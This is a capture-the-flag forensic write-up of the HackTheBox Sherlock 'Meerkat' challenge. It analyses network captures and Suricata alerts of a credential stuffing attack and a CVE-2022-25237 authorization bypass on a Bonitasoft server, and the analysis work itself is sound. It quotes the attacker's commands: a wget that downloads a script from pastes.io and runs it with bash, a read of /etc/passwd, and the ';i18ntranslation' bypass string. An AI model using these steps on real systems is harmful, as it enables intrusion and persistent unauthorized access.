In HTB Sherlock: Meerkat, the objective is to analyse network traffic (PCAP) and log data to identify a system compromise. The scenario involves an attacker performing a credential stuffing attack against a Bonitasoft BPM server. Following successful authentication, the attacker exploits a known vulnerability (CVE-2022-25237) to gain privileged access and upload a malicious extension. Subsequently, they execute commands to download a Bash script from a public paste site and establish persistence by adding a public key to the authorized_keys file.
This write-up details the tools and techniques used to uncover these attack steps, concluding with the answers to specific challenge questions.
HackTheBox Sherlock: Meerkat Description
As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.
Walkthrough
To identify the attack, several crucial tools and data analysis methods were employed, drawing insights from both Packet Capture (PCAP) and Suricata alert log data.
Suricata Logs and Alerts Analysis
unzip -l was used to list the contents of the recovered zip archive, helping to identify the Java Jar file (lib/resourceNameRestAPI-1.0.0-SNAPSHOT.jar) as the most interesting component for further analysis.
jd-gui was used to decompile and analyse the Jar file, Index.class, providing insight into the extension’s functionality, specifically the doHandle function that processed command requests.
jq was the primary tool for analysing the meerkat-alerts.json file, which contained Suricata alert events.
jq ‘.[].event_type’ | sort | uniq -c | sort -nr provided a count of different event types, showing that most entries were alert types, with a few null entries.
jq ‘.[].alert.signature’ | sort | uniq -c | sort -nr was crucial for generating a histogram of alert signatures, offering a high-level understanding of the detected activities, including multiple mentions of “Bonitasoft” and “CVE-2022-25237”.
jq ‘[] | select(.event_type != “alert”)’ helped to filter out the standard alerts and identify non-alert log entries related to pastes.io, confirming the attacker’s use of a text sharing site.
PCAP Data Analysis with Wireshark
Wireshark was the primary tool used to examine the meerkat.pcap file, which contained network traffic.
Statistics -> Protocol Hierarchy Statistics in Wireshark helped to quickly identify interesting protocols like HTTP, SSH, and DNS.
Statistics -> Endpoints (IPv4 tab) allowed for sorting by packets to identify high-volume IP addresses, confirming 172.31.6.44 as the internal business management server.
Applying filters like http.request.uri in Wireshark showed HTTP requests and relative endpoints, which was essential for observing login attempts and subsequent exploitation activities. Specifically from 156.146.62.213 to 172.31.6.44.
Following TCP streams within Wireshark was crucial for examining the details of individual login attempts, including the HTTP requests, responses, and the successful authentication identified by a 204 status code and set cookies.
It’s evident that this is a Java-based server, as indicated by the presence of a JSESSIONID cookie. Additionally, the User-Agent strings in these requests show they’re generated using the Python requests library, which strongly suggests an automated script, fitting for a brute-force attack.
At one point, the attacker successfully logs in, and the script moves forward to execute a command. A GET request includes the command whoami, and the response shows the result root, indicating successful command execution.
The fact that this happens in the middle of a credential stuffing sequence implies that the attacker is looping through a list of credentials, and when a valid one is found, the script proceeds to execute the entire exploit. Most login attempts fail, but when one succeeds, it triggers the next phase, and the output of whoami confirms access.
It looks like the attack flow involves:
- Trying default credentials via a POST request (POST 1),
- Attempting given credentials (POST 2),
- Exploiting CVE-2022-25237 to upload a plugin (POST 3 and possibly POST 4),
- Executing a command (GET 1),
- Then cleaning up by deleting the uploaded content (DELETE 1).
Additionally, I’ve noticed a string ;i18ntranslation appended to some URLs, likely used to escalate privileges and gain access to admin-level APIs.
Immediately following the fourth POST request, there’s a GET request to /bonita/API/extensions/rce that includes a command, and the server responds with the output, confirming remote code execution (RCE).
The four observed commands executed in sequence are:
whoamicat /etc/passwdwget https://pastes.io/raw/bx5gcr0et8bash bx5gcr0et8
The first command likely serves as a simple test to confirm successful RCE. The second reveals system user information. After that, the attacker downloads a remote script from pastes.io and immediately executes it with bash.
This sequence confirms a clear exploitation flow that moves from verification to privilege discovery, followed by payload delivery and execution.
About CVE-2022-25237
This particular vulnerability is an authentication/authorization bypass vulnerability. It arises from an overly broad exclude pattern used in the RestAPIAuthorizationFilter within the Bonitasoft Business Process Management (BPM) server.
Attackers could exploit this by appending either ;i18ntranslation or /../i18ntranslation/ to the end of a URL. This bypass allowed users with no privileges to access privileged API endpoints. In this specific attack, the string ;i18ntranslation was used to bypass the authorization filter.
By abusing these privileged API actions, the attacker was able to achieve remote code execution (RCE), which included uploading a malicious extension and running commands on the host operating system
Statistical Analysis
Tshark, the command-line network protocol analyser, was extensively used with grep to extract specific information from the PCAP data:
tshark -r meerkat.pcap -Y “http.request.method == POST” -T fields -e text | grep ‘/bonita/loginservice’ was used to list all POST requests to the login service, revealing the usernames and passwords submitted.
Combined with cut, sort, and uniq -c, tshark output helped to count the unique username and password combinations used in the credential stuffing attack.
It appears that 56 different username and password combinations were submitted (Task 5), most likely sourced from a leaked credentials list. One particular account stands out, as it was attempted multiple times, suggesting targeted exploitation.
This behavior is characteristic of a credential stuffing attack (Task 2), where attackers use previously leaked or stolen credentials to systematically attempt logins against a system or service.
xxd was used for hexdump analysis of the recovered rce_api_extension.zip file to identify and correct the offset where the actual Zip archive data began, as it initially contained HTTP metadata.
Analyzing The Attacker Script
Using the below command, we can extract the events in Suriacat logs that were not categorized as “alert” which we analyzed earlier:
cat meerkat-alerts.json | jq '.[] | select(.event_type != "alert")'
These logs appear to be related to a specific server, in this case, pastes.io, a pastebin-style site. The two timestamps in the logs align with the last two commands executed (wget and bash), which makes sense.
The initial connection (via wget) is expected. Based on the flow, it’s also likely that the bash script itself makes additional connections to pastes.io, possibly to retrieve more payloads or instructions.
The script uses curl to retrieve another file named hffgra4unv from pastes.io (Task 8), which aligns with the second log entry. It then saves this file into the authorized_keys file for the ubuntu user.
Assuming the retrieved file is a public SSH key, and the attacker possesses the corresponding private key, this effectively grants them persistent SSH access to the system .
